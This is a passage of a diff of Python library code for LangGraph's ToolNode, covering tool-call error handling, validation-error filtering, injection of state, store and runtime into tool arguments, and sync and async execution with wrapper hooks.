tool_kwargs: The keyword arguments that were passed to the tool. + filtered_errors: Optional list of filtered validation errors excluding + injected arguments. + """ + # Format error display based on filtered errors if provided + if filtered_errors is not None: + # Manually format the filtered errors without URLs or fancy formatting + error_str_parts = [] + for error in filtered_errors: + loc_str = ".".join(str(loc) for loc in error.get("loc", ())) + msg = error.get("msg", "Unknown error") + error_str_parts.append(f"{loc_str}: {msg}") + error_display_str = "\n".join(error_str_parts) + else: + error_display_str = str(source) + + self.message = TOOL_INVOCATION_ERROR_TEMPLATE.format( + tool_name=tool_name, tool_kwargs=tool_kwargs, error=error_display_str + ) + self.tool_name = tool_name + self.tool_kwargs = tool_kwargs + self.source = source + self.filtered_errors = filtered_errors + super().__init__(self.message) + + +def _default_handle_tool_errors(e: Exception) -> str: + """Default error handler for tool errors. + + If the tool is a tool invocation error, return its message. + Otherwise, raise the error. + """ + if isinstance(e, ToolInvocationError): + return e.message + raise e + + +def _handle_tool_error( + e: Exception, + *, + flag: bool + | str + | Callable[..., str] + | type[Exception] + | tuple[type[Exception], ...], +) -> str: + """Generate error message content based on exception handling configuration. + + This function centralizes error message generation logic, supporting different + error handling strategies configured via the `ToolNode`'s `handle_tool_errors` + parameter. + + Args: + e: The exception that occurred during tool execution. + flag: Configuration for how to handle the error. Can be: + - bool: If `True`, use default error template + - str: Use this string as the error message + - Callable: Call this function with the exception to get error message + - tuple: Not used in this context (handled by caller) + + Returns: + A string containing the error message to include in the `ToolMessage`. + + Raises: + ValueError: If flag is not one of the supported types. + + !!! note + The tuple case is handled by the caller through exception type checking, + not by this function directly. + """ + if isinstance(flag, (bool, tuple)) or ( + isinstance(flag, type) and issubclass(flag, Exception) + ): + content = TOOL_CALL_ERROR_TEMPLATE.format(error=repr(e)) + elif isinstance(flag, str): + content = flag + elif callable(flag): + content = flag(e) # type: ignore [assignment, call-arg] + else: + msg = ( + f"Got unexpected type of `handle_tool_error`. Expected bool, str " + f"or callable. Received: {flag}" + ) + raise ValueError(msg) + return content + + +def _infer_handled_types(handler: Callable[..., str]) -> tuple[type[Exception], ...]: + """Infer exception types handled by a custom error handler function. + + This function analyzes the type annotations of a custom error handler to determine + which exception types it's designed to handle. This enables type-safe error handling + where only specific exceptions are caught and processed by the handler. + + Args: + handler: A callable that takes an exception and returns an error message string. + The first parameter (after self/cls if present) should be type-annotated + with the exception type(s) to handle. + + Returns: + A tuple of exception types that the handler can process. Returns (Exception,) + if no specific type information is available for backward compatibility. + + Raises: + ValueError: If the handler's annotation contains non-Exception types or + if Union types contain non-Exception types. + + !!! note + This function supports both single exception types and Union types for + handlers that need to handle multiple exception types differently. + """ + sig = inspect.signature(handler) + params = list(sig.parameters.values()) + if params: + # If it's a method, the first argument is typically 'self' or 'cls' + if params[0].name in ["self", "cls"] and len(params) == 2: + first_param = params[1] + else: + first_param = params[0] + + type_hints = get_type_hints(handler) + if first_param.name in type_hints: + origin = get_origin(first_param.annotation) + if origin in [Union, UnionType]: + args = get_args(first_param.annotation) + if all(issubclass(arg, Exception) for arg in args): + return tuple(args) + msg = ( + "All types in the error handler error annotation must be " + "Exception types. For example, " + "`def custom_handler(e: Union[ValueError, TypeError])`. " + f"Got '{first_param.annotation}' instead." + ) + raise ValueError(msg) + + exception_type = type_hints[first_param.name] + if Exception in exception_type.__mro__: + return (exception_type,) + msg = ( + f"Arbitrary types are not supported in the error handler " + f"signature. Please annotate the error with either a " + f"specific Exception type or a union of Exception types. " + "For example, `def custom_handler(e: ValueError)` or " + "`def custom_handler(e: Union[ValueError, TypeError])`. " + f"Got '{exception_type}' instead." + ) + raise ValueError(msg) + + # If no type information is available, return (Exception,) + # for backwards compatibility. + return (Exception,) + + +def _filter_validation_errors( + validation_error: ValidationError, + injected_args: _InjectedArgs | None, +) -> list[ErrorDetails]: + """Filter validation errors to only include LLM-controlled arguments. + + When a tool invocation fails validation, only errors for arguments that the LLM + controls should be included in error messages. This ensures the LLM receives + focused, actionable feedback about parameters it can actually fix. System-injected + arguments (state, store, runtime) are filtered out since the LLM has no control + over them. + + This function also removes injected argument values from the `input` field in error + details, ensuring that only LLM-provided arguments appear in error messages. + + Args: + validation_error: The Pydantic ValidationError raised during tool invocation. + injected_args: The _InjectedArgs structure containing all injected arguments, + or None if there are no injected arguments. + + Returns: + List of ErrorDetails containing only errors for LLM-controlled arguments, + with system-injected argument values removed from the input field. + """ + # Collect all injected argument names + injected_arg_names: set[str] = set() + if injected_args: + if injected_args.state: + injected_arg_names.update(injected_args.state.keys()) + if injected_args.store: + injected_arg_names.add(injected_args.store) + if injected_args.runtime: + injected_arg_names.add(injected_args.runtime) + + filtered_errors: list[ErrorDetails] = [] + for error in validation_error.errors(): + # Check if error location contains any injected argument + # error['loc'] is a tuple like ('field_name',) or ('field_name', 'nested_field') + if error["loc"] and error["loc"][0] not in injected_arg_names: + # Create a copy of the error dict to avoid mutating the original + error_copy: dict[str, Any] = {**error} + + # Remove injected arguments from input_value if it's a dict + if isinstance(error_copy.get("input"), dict): + input_dict = error_copy["input"] + input_copy = { + k: v for k, v in input_dict.items() if k not in injected_arg_names + } + error_copy["input"] = input_copy + + # Cast is safe because ErrorDetails is a TypedDict compatible with this structure + filtered_errors.append(error_copy) # type: ignore[arg-type] + + return filtered_errors + + +@dataclass +class _InjectedArgs: + """Internal structure for tracking injected arguments for a tool. + + This data structure is built once during ToolNode initialization by analyzing + the tool's signature and args schema, then reused during execution for efficient + injection without repeated reflection. + + The structure maps from tool parameter names to their injection sources, enabling + the ToolNode to know exactly which arguments need to be injected and where to + get their values from. + + Attributes: + state: Mapping from tool parameter names to state field names for injection. + Keys are tool parameter names, values are either: + - str: Name of the state field to extract and inject + - None: Inject the entire state object + Empty dict if no state injection is needed. + store: Name of the tool parameter where the store should be injected, + or None if no store injection is needed. + runtime: Name of the tool parameter where the runtime should be injected, + or None if no runtime injection is needed. + + Example: + For a tool with signature: + ```python + def my_tool( + x: int, + messages: Annotated[list, InjectedState("messages")], + full_state: Annotated[dict, InjectedState()], + store: Annotated[BaseStore, InjectedStore()], + runtime: ToolRuntime, + ) -> str: + ... + ``` + + The resulting `_InjectedArgs` would be: + ```python + _InjectedArgs( + state={ + "messages": "messages", # Extract state["messages"] + "full_state": None, # Inject entire state + }, + store="store", # Inject into "store" parameter + runtime="runtime", # Inject into "runtime" parameter + ) + ``` + """ + + state: dict[str, str | None] + store: str | None + runtime: str | None + all_injected_keys: set[str] + _optional_state_args: set[str] + + +class ToolNode(RunnableCallable): + """A node for executing tools in LangGraph workflows. + + Handles tool execution patterns including function calls, state injection, + persistent storage, and control flow. Manages parallel execution, + error handling. + + Use `ToolNode` when building custom workflows that require fine-grained control over + tool execution—for example, custom routing logic, specialized error handling, or + non-standard agent architectures. + + For standard ReAct-style agents, use [`create_agent`][langchain.agents.create_agent] + instead. It uses `ToolNode` internally with sensible defaults for the agent loop, + conditional routing, and error handling. + + Input Formats: + 1. **Graph state** with `messages` key that has a list of messages: + - Common representation for agentic workflows + - Supports custom messages key via `messages_key` parameter + + 2. **Message List**: `[AIMessage(..., tool_calls=[...])]` + - List of messages with tool calls in the last AIMessage + + 3. **Direct Tool Calls**: `[{"name": "tool", "args": {...}, "id": "1", "type": "tool_call"}]` + - Bypasses message parsing for direct tool execution + - For programmatic tool invocation and testing + + Output Formats: + Output format depends on input type and tool behavior: + + **For Regular tools**: + + - Dict input → `{"messages": [ToolMessage(...)]}` + - List input → `[ToolMessage(...)]` + + **For Command tools**: + + - Returns `[Command(...)]` or mixed list with regular tool outputs + - `Command` can update state, trigger navigation, or send messages + + Args: + tools: A sequence of tools that can be invoked by this node. + + Supports: + + - **BaseTool instances**: Tools with schemas and metadata + - **Plain functions**: Automatically converted to tools with inferred schemas + + name: The name identifier for this node in the graph. Used for debugging + and visualization. + tags: Optional metadata tags to associate with the node for filtering + and organization. + handle_tool_errors: Configuration for error handling during tool execution. + Supports multiple strategies: + + - `True`: Catch all errors and return a `ToolMessage` with the default + error template containing the exception details. + - `str`: Catch all errors and return a `ToolMessage` with this custom + error message string. + - `type[Exception]`: Only catch exceptions with the specified type and + return the default error message for it. + - `tuple[type[Exception], ...]`: Only catch exceptions with the specified + types and return default error messages for them. + - `Callable[..., str]`: Catch exceptions matching the callable's signature + and return the string result of calling it with the exception. + - `False`: Disable error handling entirely, allowing exceptions to + propagate. + + Defaults to a callable that: + + - Catches tool invocation errors (due to invalid arguments provided by the + model) and returns a descriptive error message + - Ignores tool execution errors (they will be re-raised) + + messages_key: The key in the state dictionary that contains the message list. + This same key will be used for the output `ToolMessage` objects. + + Allows custom state schemas with different message field names. + + Examples: + Basic usage: + + ```python + from langchain.tools import ToolNode + from langchain_core.tools import tool + + @tool + def calculator(a: int, b: int) -> int: + \"\"\"Add two numbers.\"\"\" + return a + b + + tool_node = ToolNode([calculator]) + ``` + + State injection: + + ```python + from typing_extensions import Annotated + from langchain.tools import InjectedState + + @tool + def context_tool(query: str, state: Annotated[dict, InjectedState]) -> str: + \"\"\"Some tool that uses state.\"\"\" + return f"Query: {query}, Messages: {len(state['messages'])}" + + tool_node = ToolNode([context_tool]) + ``` + + Error handling: + + ```python + def handle_errors(e: ValueError) -> str: + return "Invalid input provided" + + + tool_node = ToolNode([my_tool], handle_tool_errors=handle_errors) + ``` + """ # noqa: E501 + + name: str = "tools" + + def __init__( + self, + tools: Sequence[BaseTool | Callable], + *, + name: str = "tools", + tags: list[str] | None = None, + handle_tool_errors: bool + | str + | Callable[..., str] + | type[Exception] + | tuple[type[Exception], ...] = _default_handle_tool_errors, + messages_key: str = "messages", + wrap_tool_call: ToolCallWrapper | None = None, + awrap_tool_call: AsyncToolCallWrapper | None = None, + ) -> None: + """Initialize `ToolNode` with tools and configuration. + + Args: + tools: Sequence of tools to make available for execution. + name: Node name for graph identification. + tags: Optional metadata tags. + handle_tool_errors: Error handling configuration. + messages_key: State key containing messages. + wrap_tool_call: Sync wrapper function to intercept tool execution. Receives + ToolCallRequest and execute callable, returns ToolMessage or Command. + Enables retries, caching, request modification, and control flow. + awrap_tool_call: Async wrapper function to intercept tool execution. + If not provided, falls back to wrap_tool_call for async execution. + """ + super().__init__(self._func, self._afunc, name=name, tags=tags, trace=False) + self._tools_by_name: dict[str, BaseTool] = {} + self._injected_args: dict[str, _InjectedArgs] = {} + self._handle_tool_errors = handle_tool_errors + self._messages_key = messages_key + self._wrap_tool_call = wrap_tool_call + self._awrap_tool_call = awrap_tool_call + for tool in tools: + if not isinstance(tool, BaseTool): + tool_ = create_tool(cast("type[BaseTool]", tool)) + else: + tool_ = tool + self._tools_by_name[tool_.name] = tool_ + # Build injected args mapping once during initialization in a single pass + self._injected_args[tool_.name] = _get_all_injected_args(tool_) + + @property + def tools_by_name(self) -> dict[str, BaseTool]: + """Mapping from tool name to BaseTool instance.""" + return self._tools_by_name + + def _func( + self, + input: list[AnyMessage] | dict[str, Any] | BaseModel, + config: RunnableConfig, + runtime: Runtime, + ) -> Any: + tool_calls, input_type = self._parse_input(input) + config_list = get_config_list(config, len(tool_calls)) + + # Construct ToolRuntime instances at the top level for each tool call + tool_runtimes = [] + for call, cfg in zip(tool_calls, config_list, strict=False): + state = self._extract_state(input, cfg) + tool_runtime = ToolRuntime( + state=state, + tool_call_id=call["id"], + config=cfg, + context=runtime.context, + store=runtime.store, + stream_writer=runtime.stream_writer, + tools=list(self.tools_by_name.values()), + execution_info=runtime.execution_info, + server_info=runtime.server_info, + ) + tool_runtimes.append(tool_runtime) + + # Pass original tool calls without injection + input_types = [input_type] * len(tool_calls) + with get_executor_for_config(config) as executor: + outputs = list( + executor.map(self._run_one, tool_calls, input_types, tool_runtimes) + ) + + return self._combine_tool_outputs(outputs, input_type) + + async def _afunc( + self, + input: list[AnyMessage] | dict[str, Any] | BaseModel, + config: RunnableConfig, + runtime: Runtime, + ) -> Any: + tool_calls, input_type = self._parse_input(input) + config_list = get_config_list(config, len(tool_calls)) + + # Construct ToolRuntime instances at the top level for each tool call + tool_runtimes = [] + for call, cfg in zip(tool_calls, config_list, strict=False): + state = self._extract_state(input, cfg) + tool_runtime = ToolRuntime( + state=state, + tool_call_id=call["id"], + config=cfg, + context=runtime.context, + store=runtime.store, + stream_writer=runtime.stream_writer, + tools=list(self.tools_by_name.values()), + execution_info=runtime.execution_info, + server_info=runtime.server_info, + ) + tool_runtimes.append(tool_runtime) + + # Pass original tool calls without injection + coros = [] + for call, tool_runtime in zip(tool_calls, tool_runtimes, strict=False): + coros.append(self._arun_one(call, input_type, tool_runtime)) # type: ignore[arg-type] + outputs = await asyncio.gather(*coros) + + return self._combine_tool_outputs(outputs, input_type) + + def _combine_tool_outputs( + self, + outputs: list[ToolMessage | Command | list[ToolMessage | Command]], + input_type: Literal["list", "dict", "tool_calls"], + ) -> list[Command | list[ToolMessage] | dict[str, list[ToolMessage]]]: + # Flatten list entries from tools that returned multiple items + flat_outputs: list[ToolMessage | Command] + if any(isinstance(output, list) for output in outputs): + flat_outputs = [] + for output in outputs: + if isinstance(output, list): + flat_outputs.extend(output) + else: + flat_outputs.append(output) + else: + flat_outputs = cast("list[ToolMessage | Command]", outputs) + + # preserve existing behavior for non-command tool outputs for backwards + # compatibility + if not any(isinstance(output, Command) for output in flat_outputs): + # TypedDict, pydantic, dataclass, etc. should all be able to load from dict + return ( + flat_outputs + if input_type == "list" + else {self._messages_key: flat_outputs} + ) + + # LangGraph will automatically handle list of Command and non-command node + # updates + combined_outputs: list[ + Command | list[ToolMessage] | dict[str, list[ToolMessage]] + ] = [] + + # combine all parent commands with goto into a single parent command + parent_command: Command | None = None + for output in flat_outputs: + if isinstance(output, Command): + if ( + output.graph is Command.PARENT + and isinstance(output.goto, list) + and all(isinstance(send, Send) for send in output.goto) + ): + if parent_command: + parent_command = replace( + parent_command, + goto=cast("list[Send]", parent_command.goto) + output.goto, + ) + else: + parent_command = Command(graph=Command.PARENT, goto=output.goto) + else: + combined_outputs.append(output) + else: + combined_outputs.append( + [output] if input_type == "list" else {self._messages_key: [output]} + ) + + if parent_command: + combined_outputs.append(parent_command) + return combined_outputs + + def _execute_tool_sync( + self, + request: ToolCallRequest, + input_type: Literal["list", "dict", "tool_calls"], + config: RunnableConfig, + ) -> ToolMessage | Command | list[Command | ToolMessage]: + """Execute tool call with configured error handling. + + Args: + request: Tool execution request. + input_type: Input format. + config: Runnable configuration. + + Returns: + ToolMessage, Command, or list of Command/ToolMessage. + + Raises: + Exception: If tool fails and handle_tool_errors is False. + """ + call = request.tool_call + tool = request.tool + + # Validate tool exists when we actually need to execute it + if tool is None: + if invalid_tool_message := self._validate_tool_call(call): + return invalid_tool_message + # This should never happen if validation works correctly + msg = f"Tool {call['name']} is not registered with ToolNode" + raise TypeError(msg) + + # Inject state, store, and runtime right before invocation + injected_call = self._inject_tool_args(call, request.runtime, tool) + call_args = {**injected_call, "type": "tool_call"} + + try: + try: + response = tool.invoke(call_args, config) + except ValidationError as exc: + # Filter out errors for injected arguments + injected = self._injected_args.get(call["name"]) + filtered_errors = _filter_validation_errors(exc, injected) + # Use original call["args"] without injected values for error reporting + raise ToolInvocationError( + call["name"], exc, call["args"], filtered_errors + ) from exc + + # Inside try so validation errors route through _handle_tool_errors + return self._normalize_tool_response( + response, request.tool_call, input_type + ) + + # GraphInterrupt is a special exception that will always be raised. + # It can be triggered in the following scenarios, + # Where GraphInterrupt(GraphBubbleUp) is raised from an `interrupt` invocation + # most commonly: + # (1) a GraphInterrupt is raised inside a tool + # (2) a GraphInterrupt is raised inside a graph node for a graph called as a tool + # (3) a GraphInterrupt is raised when a subgraph is interrupted inside a graph + # called as a tool + # (2 and 3 can happen in a "supervisor w/ tools" multi-agent architecture) + except GraphBubbleUp: + raise + except Exception as e: + # Determine which exception types are handled + handled_types: tuple[type[Exception], ...] + if isinstance(self._handle_tool_errors, type) and issubclass( + self._handle_tool_errors, Exception + ): + handled_types = (self._handle_tool_errors,) + elif isinstance(self._handle_tool_errors, tuple): + handled_types = self._handle_tool_errors + elif callable(self._handle_tool_errors) and not isinstance( + self._handle_tool_errors, type + ): + handled_types = _infer_handled_types(self._handle_tool_errors) + else: + # default behavior is catching all exceptions + handled_types = (Exception,) + + # Check if this error should be handled + if not self._handle_tool_errors or not isinstance(e, handled_types): + raise + + # Error is handled - create error ToolMessage + content = _handle_tool_error(e, flag=self._handle_tool_errors) + return ToolMessage( + content=content, + name=call["name"], + tool_call_id=call["id"], + status="error", + ) + + def _run_one( + self, + call: ToolCall, + input_type: Literal["list", "dict", "tool_calls"], + tool_runtime: ToolRuntime, + ) -> ToolMessage | Command | list[Command | ToolMessage]: + """Execute single tool call with wrap_tool_call wrapper if configured. + + Args: + call: Tool call dict. + input_type: Input format. + tool_runtime: Tool runtime. + + Returns: + ToolMessage or Command. + """ + # Validation is deferred to _execute_tool_sync to allow interceptors + # to short-circuit requests for unregistered tools + tool = self.tools_by_name.get(call["name"]) + + # Create the tool request with state and runtime + tool_request = ToolCallRequest( + tool_call=call, + tool=tool, + state=tool_runtime.state, + runtime=tool_runtime, + ) + + config = tool_runtime.config + + if self._wrap_tool_call is None: + # No wrapper - execute directly + return self._execute_tool_sync(tool_request, input_type, config) + + # Define execute callable that can be called multiple times + def execute(req: ToolCallRequest) -> ToolMessage | Command: + """Execute tool with given request. Can be called multiple times.""" + return self._execute_tool_sync(req, input_type, config) + + # Call wrapper with request and execute callable + try: + return self._wrap_tool_call(tool_request, execute) + except Exception as e: + # Wrapper threw an exception + if not self._handle_tool_errors: + raise + # Convert to error message + content = _handle_tool_error(e, flag=self._handle_tool_errors) + return ToolMessage( + content=content, + name=tool_request.tool_call["name"], + tool_call_id=tool_request.tool_call["id"], + status="error", + ) + + async def _execute_tool_async( + self, + request: ToolCallRequest, + input_type: Literal["list", "dict", "tool_calls"], + config: RunnableConfig, + ) -> ToolMessage | Command | list[Command | ToolMessage]: + """Execute tool call asynchronously with configured error handling. + + Args: + request: Tool execution request. + input_type: Input format. + config: Runnable configuration. + + Returns: + ToolMessage, Command, or list of Command/ToolMessage. + + Raises: + Exception: If tool fails and handle_tool_errors is False. + """ + call = request.tool_call + tool = request.tool + + # Validate tool exists when we actually need to execute it + if tool is None: + if invalid_tool_message := self._validate_tool_call(call): + return invalid_tool_message + # This should never happen if validation works correctly + msg = f"Tool {call['name']} is not registered with ToolNode" + raise TypeError(msg) + + # Inject state, store, and runtime right before invocation + injected_call = self._inject_tool_args(call, request.runtime, tool) + call_args = {**injected_call, "type": "tool_call"} + + try: + try: + response = await tool.ainvoke(call_args, config) + except ValidationError as exc: + # Filter out errors for injected arguments + injected = self._injected_args.get(call["name"]) + filtered_errors = _filter_validation_errors(exc, injected) + # Use original call["args"] without injected values for error reporting + raise ToolInvocationError( + call["name"], exc, call["args"], filtered_errors + ) from exc + + # Inside try so validation errors route through _handle_tool_errors + return self._normalize_tool_response( + response, request.tool_call, input_type + ) + + # GraphInterrupt is a special exception that will always be raised. + # It can be triggered in the following scenarios, + # Where GraphInterrupt(GraphBubbleUp) is raised from an `interrupt` invocation + # most commonly: + # (1) a GraphInterrupt is raised inside a tool + # (2) a GraphInterrupt is raised inside a graph node for a graph called as a tool + # (3) a GraphInterrupt is raised when a subgraph is interrupted inside a graph + # called as a tool + # (2 and 3 can happen in a "supervisor w/ tools" multi-agent architecture) + except GraphBubbleUp: + raise + except Exception as e: + # Determine which exception types are handled + handled_types: tuple[type[Exception], ...] + if isinstance(self._handle_tool_errors, type) and issubclass( + self._handle_tool_errors, Exception + ): + handled_types = (self._handle_tool_errors,) + elif isinstance(self._handle_tool_errors, tuple): + handled_types = self._handle_tool_errors + elif callable(self._handle_tool_errors) and not isinstance( + self._handle_tool_errors, type + ): + handled_types = _infer_handled_types(self._handle_tool_errors) + else: + # default behavior is catching all exceptions + handled_types = (Exception,) + + # Check if this error should be handled + if not self._handle_tool_errors or not isinstance(e, handled_types): + raise + + # Error is handled - create error ToolMessage + content = _handle_tool_error(e, flag=self._handle_tool_errors) + return ToolMessage( + content=content, + name=call["name"], + tool_call_id=call["id"], + status="error", + ) + + async def _arun_one( + self, + call: ToolCall, + input_type: Literal["list", "dict", "tool_calls"], + tool_runtime: ToolRuntime, + ) -> ToolMessage | Command | list[Command | ToolMessage]: + """Execute single tool call asynchronously with awrap_tool_call wrapper if configured. + + Args: + call: Tool call dict. + input_type: Input format. + tool_runtime: Tool runtime. + + Returns: + ToolMessage or Command. + """ + # Validation is deferred to _execute_tool_async to allow interceptors + # to short-circuit requests for unregistered tools + tool = self.tools_by_name.get(call["name"]) + + # Create the tool request with state and runtime + tool_request = ToolCallRequest( + tool_call=call, + tool=tool, + state=tool_runtime.state, + runtime=tool_runtime, + ) + + config = tool_runtime.config + + if self._awrap_tool_call is None and self._wrap_tool_call is None: + # No wrapper - execute directly + return await self._execute_tool_async(tool_request, input_type, config) + + # Define async execute callable that can be called multiple times + async def execute(req: ToolCallRequest) -> ToolMessage | Command: + """Execute tool with given request. Can be called multiple times.""" + return await self._execute_tool_async(req, input_type, config) + + def _sync_execute(req: ToolCallRequest) -> ToolMessage | Command: + """Sync execute fallback for sync wrapper.""" + return self._execute_tool_sync(req, input_type, config) + + # Call wrapper with request and execute callable + try: + if self._awrap_tool_call is not None: + return await self._awrap_tool_call(tool_request, execute) + # None check was performed above already + self._wrap_tool_call = cast("ToolCallWrapper", self._wrap_tool_call) + return self._wrap_tool_call(tool_request, _sync_execute) + except Exception as e: + # Wrapper threw an exception + if not self._handle_tool_errors: + raise + # Convert to error message + content = _handle_tool_error(e, flag=self._handle_tool_errors) + return ToolMessage( + content=content, + name=tool_request.tool_call["name"], + tool_call_id=tool_request.tool_call["id"], + status="error", + ) + + def _parse_input( + self, + input: list[AnyMessage] | dict[str, Any] | BaseModel, + ) -> tuple[list[ToolCall], Literal["list", "dict", "tool_calls"]]: + input_type: Literal["list", "dict", "tool_calls"] + if isinstance(input, list): + if isinstance(input[-1], dict) and input[-1].get("type") == "tool_call": + input_type = "tool_calls" + tool_calls = cast("list[ToolCall]", input) + return tool_calls, input_type + input_type = "list" + messages = input + elif ( + isinstance(input, dict) and input.get("__type") == "tool_call_with_context" + ): + # Handle ToolCallWithContext from Send API + # Type checkers cannot narrow correctly since the signature + # for input contains dict[str, Any]. We'd need to narrow dict[str, Any] + # before we can apply correct typing. + input_with_ctx = cast("ToolCallWithContext", input) + input_type = "tool_calls" + return [input_with_ctx["tool_call"]], input_type + elif isinstance(input, dict) and ( + messages := input.get(self._messages_key, []) + ): + input_type = "dict" + elif messages := getattr(input, self._messages_key, []): + # Assume dataclass-like state that can coerce from dict + input_type = "dict" + else: + msg = "No message found in input" + raise ValueError(msg) + + try: + latest_ai_message = next( + m for m in reversed(messages) if isinstance(m, AIMessage) + ) + except StopIteration: + msg = "No AIMessage found in input" + raise ValueError(msg) + + tool_calls = list(latest_ai_message.tool_calls) + return tool_calls, input_type + + def _validate_tool_call(self, call: ToolCall) -> ToolMessage | None: + requested_tool = call["name"] + if requested_tool not in self.tools_by_name: + all_tool_names = list(self.tools_by_name.keys()) + content = INVALID_TOOL_NAME_ERROR_TEMPLATE.format( + requested_tool=requested_tool, + available_tools=", ".join(all_tool_names), + ) + return ToolMessage( + content, name=requested_tool, tool_call_id=call["id"], status="error" + ) + return None + + def _extract_state( + self, + input: list[AnyMessage] | dict[str, Any] | BaseModel, + config: RunnableConfig, + ) -> list[AnyMessage] | dict[str, Any] | BaseModel: + """Extract state from input. + + Three input shapes: + + - `ToolCallWithContext` dict — legacy Send payload carrying an inlined + state snapshot; return `input["state"]`. + - list of `ToolCall` dicts — new Send payload with no inlined state; + hydrate state from channels via `CONFIG_KEY_READ`. + - regular graph state (dict/list/BaseModel) — return `input` as-is. + """ + if isinstance(input, dict) and input.get("__type") == "tool_call_with_context": + return input["state"] + if ( + isinstance(input, list) + and input + and isinstance(input[-1], dict) + and input[-1].get("type") == "tool_call" + ): + read = config.get(CONF, {}).get(CONFIG_KEY_READ) + if read is None: + return {} + # Pregel installs CONFIG_KEY_READ as + # `functools.partial(local_read, scratchpad, channels, managed, task)`. + # Match the previous inlined-state contract by reading channels only; + # managed values have their own injection path (`ToolRuntime.context`). + channels = read.args[1] + return cast("dict[str, Any]", read(list(channels), True)) + return input + + def _inject_tool_args( + self, + tool_call: ToolCall, + tool_runtime: ToolRuntime, + tool: BaseTool | None = None, + ) -> ToolCall: + """Inject graph state, store, and runtime into tool call arguments. + + This is an internal method that enables tools to access graph context that + should not be controlled by the model. Tools can declare dependencies on graph + state, persistent storage, or runtime context using InjectedState, InjectedStore, + and ToolRuntime annotations. This method automatically identifies these + dependencies and injects the appropriate values. + + The injection process preserves the original tool call structure while adding + the necessary context arguments. This allows tools to be both model-callable + and context-aware without exposing internal state management to the model. + + Args: + tool_call: The tool call dictionary to augment with injected arguments. + Must contain 'name', 'args', 'id', and 'type' fields. + tool_runtime: The ToolRuntime instance containing all runtime context + (state, config, store, context, stream_writer) to inject into tools. + tool: Optional tool instance. When provided, allows injection for + dynamically registered tools that are not in self.tools_by_name + (e.g., tools added via middleware's wrap_tool_call). + + Returns: + A new ToolCall dictionary with the same structure as the input but with + additional arguments injected based on the tool's annotation requirements. + + Raises: + ValueError: If a tool requires store injection but no store is provided, + or if state injection requirements cannot be satisfied. + + !!! note + This method is called automatically during tool execution. It should not + be called from outside the `ToolNode`. + """ + injected = self._injected_args.get(tool_call["name"]) + if not injected and tool is not None: + # For dynamically registered tools (e.g., added via middleware's + # wrap_tool_call), compute injected args on-the-fly since they + # were not present during ToolNode initialization. + injected = _get_all_injected_args(tool) + if not injected: + return tool_call + + tool_call_copy: ToolCall = copy(tool_call) + injected_args: dict[str, Any] = {} + + # Inject state + if injected.state: + state = tool_runtime.state + # Handle list state by converting to dict + if isinstance(state, list): + required_fields = list(injected.state.values()) + if ( + len(required_fields) == 1 + and required_fields[0] == self._messages_key + ) or required_fields[0] is None: + state = {self._messages_key: state} + else: + err_msg = ( + f"Invalid input to ToolNode. Tool {tool_call['name']} requires " + f"graph state dict as input." + ) + if any(state_field for state_field in injected.state.values()): + required_fields_str = ", ".join(f for f in required_fields if f) + err_msg += ( + f" State should contain fields {required_fields_str}." + ) + raise ValueError(err_msg) + + # Extract state values + if isinstance(state, dict): + for tool_arg, state_field in injected.state.items(): + if not state_field: + injected_args[tool_arg] = state + elif state_field in state: + injected_args[tool_arg] = state[state_field] + elif tool_arg not in injected._optional_state_args: + raise KeyError(state_field) + else: + for tool_arg, state_field in injected.state.items(): + if not state_field: + injected_args[tool_arg] = state + elif hasattr(state, state_field): + injected_args[tool_arg] = getattr(state, state_field) + elif tool_arg not in injected._optional_state_args: + raise AttributeError(state_field) + + # Inject store + if injected.store: + if tool_runtime.store is None: + msg = ( + "Cannot inject store into tools with InjectedStore annotations - " + "please compile your graph with a store." + ) + raise ValueError(msg) + injected_args[injected.store] = tool_runtime.store + + # Inject runtime + if injected.runtime: + injected_args[injected.runtime] = tool_runtime + + # Strip any caller-supplied values for injected args, then add + # back only trusted values. This prevents an LLM from forging + # hidden InjectedToolArg fields via ToolCall.args. + stripped_args = { + k: v + for k, v in tool_call_copy["args"].items() + if k not in injected.all_injected_keys + } + tool_call_copy["args"] = {**stripped_args, **injected_args} + return tool_call_copy + + def _normalize_tool_response( + self, + response: Any, + tool_call: ToolCall, + input_type: Literal["list", "dict", "tool_calls"], + ) -> ToolMessage | Command | list[Command | ToolMessage]: + """Validate and normalize a tool's raw return value.""" + if isinstance(response, Command): + return self._validate_tool_command(response, tool_call, input_type) + if isinstance(response, ToolMessage): + response.content = cast("str | list", msg_content_output(response.content)) + return response + if isinstance(response, list): + if all(isinstance(r, (Command, ToolMessage)) for r in response): + return self._validate_tool_command_list(response, tool_call, input_type) + msg = ( + f"Tool {tool_call['name']} returned a list with invalid element " + "types: expected all Command or ToolMessage" + ) + raise TypeError(msg) + msg = f"Tool {tool_call['name']} returned unexpected type: {type(response)}" + raise TypeError(msg) + + def _validate_tool_command_list( + self, + response: list[Command | ToolMessage], + tool_call: ToolCall, + input_type: Literal["list", "dict", "tool_calls"], + ) -> list[Command | ToolMessage]: + """Validate a list of Command/ToolMessage returned by a single tool call. + + Requires exactly one terminating ToolMessage (matching the outer tool_call_id) + across the list — either as a top-level element or nested in a + Command.update["messages"]. + """ + expected_id = tool_call["id"] + + terminator_count = 0 + for item in response: + if isinstance(item, ToolMessage): + if item.tool_call_id == expected_id: + terminator_count += 1 + elif isinstance(item, Command) and isinstance(item.update, dict): + for msg in item.update.get(self._messages_key, []): + if isinstance(msg, ToolMessage) and msg.tool_call_id == expected_id: + terminator_count += 1 + + if terminator_count != 1: + msg = ( + f"Tool {tool_call['name']} returned a list with " + f"{terminator_count} messages bound to tool_call_id " + f"{expected_id!r}; expected exactly one terminating ToolMessage." + ) + raise ValueError(msg) + + # Per-Command normalization still runs, but the list-level count above + # already guarantees exactly one terminator, so individual Commands may + # lack one. + validated: list[Command | ToolMessage] = [] + for item in response: + if isinstance(item, Command): + validated.append( + self._validate_tool_command( + item, tool_call, input_type, require_terminator=False + ) + ) + else: + item.content = cast("str | list", msg_content_output(item.content)) + validated.append(item) + return validated + + def _validate_tool_command( + self, + command: Command, + call: ToolCall, + input_type: Literal["list", "dict", "tool_calls"], + *, + require_terminator: bool = True, + ) -> Command: + if isinstance(command.update, dict): + # input type is dict when ToolNode is invoked with a dict input + # (e.g. {"messages": [AIMessage(..., tool_calls=[...])]}) + if input_type not in ("dict", "tool_calls"): + msg = ( + "Tools can provide a dict in Command.update only when using dict " + f"with '{self._messages_key}' key as ToolNode input, " + f"got: {command.update} for tool '{call['name']}'" + ) + raise ValueError(msg) + + updated_command = deepcopy(command) + state_update = cast("dict[str, Any]", updated_command.update) or {} + messages_update = 